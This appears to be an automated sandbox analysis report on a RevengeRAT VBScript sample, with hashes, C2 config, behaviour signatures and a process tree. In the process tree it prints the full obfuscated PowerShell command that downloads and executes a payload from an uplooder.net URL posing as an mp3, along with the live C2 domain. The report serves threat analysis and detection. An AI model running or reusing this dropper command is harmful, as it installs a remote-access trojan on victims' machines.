revengerat | 4132868ce09293c0b4d4e241d592d67c062be7faf2cc4b966e9976c9a00ed411

General

Target
4132868ce09293c0b4d4e241d592d67c062be7faf2cc4b966e9976c9a00ed411.vbs
Size 1KB
Sample220417-tzlt6adfe4
SHA256 4132868ce09293c0b4d4e241d592d67c062be7faf2cc4b966e9976c9a00ed411
MD5 5b3ffe20f99554d62f8b71ca2553b3fd
SHA1 adf3fd5890b262dde0b51ea34250fba208919cd9
SHA512 bbb89687d153896e2eecfa066041d97cc0fd37d9e23e9af34a5cec1107b35706935d233cf2b6fff7925ed11a37c42603a31fb6da97da0ad4d2443e58f18771d5
MD5 SHA1 SHA512

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
https://www.uplooder.net/f/tl/14/41a828a1bd32c8f8ce70b7611e62bf05/new-songs.mp3

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

updatefacebook.duckdns.org:6

Mutex

0d00c7b92de94

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4744	powershell.exe

Malicious .NET executables 2 IoCs

resource	yara_rule
behavioral2/memory/1936-137-0x0000000000400000-0x000000000040A000-memory.dmp	dotNET
behavioral2/memory/1936-139-0x0000000005370000-0x0000000005914000-memory.dmp	dotNET

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4744 set thread context of 1936	4744	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4744	powershell.exe
4744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 1244	2276	WScript.exe	78
PID 2276 wrote to memory of 1244	2276	WScript.exe	78
PID 1244 wrote to memory of 4744	1244	cmd.exe	80
PID 1244 wrote to memory of 4744	1244	cmd.exe	80
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81
PID 4744 wrote to memory of 1936	4744	powershell.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4132868ce09293c0b4d4e241d592d67c062be7faf2cc4b966e9976c9a00ed411.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /cPowershell Invoke-Expression((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'Webc'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://www.uplooder.net/f/tl/14/41a828a1bd32c8f8ce70b7611e62bf05/new-songs.mp3'))));exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell Invoke-Expression((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'Webc'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://www.uplooder.net/f/tl/14/41a828a1bd32c8f8ce70b7611e62bf05/new-songs.mp3'))));exit
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:1936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1936-137-0x0000000000400000-0x000000000040A000-memory.dmp

Download

memory/1936-139-0x0000000005370000-0x0000000005914000-memory.dmp

Download

memory/4744-132-0x0000029BB3B90000-0x0000029BB3BB2000-memory.dmp

Download

memory/4744-133-0x00007FF902720000-0x00007FF9031E1000-memory.dmp

Download

memory/4744-135-0x0000029BB31D3000-0x0000029BB31D5000-memory.dmp

Download

memory/4744-134-0x0000029BB31D0000-0x0000029BB31D2000-memory.dmp

Download

memory/4744-136-0x0000029BB31D6000-0x0000029BB31D8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads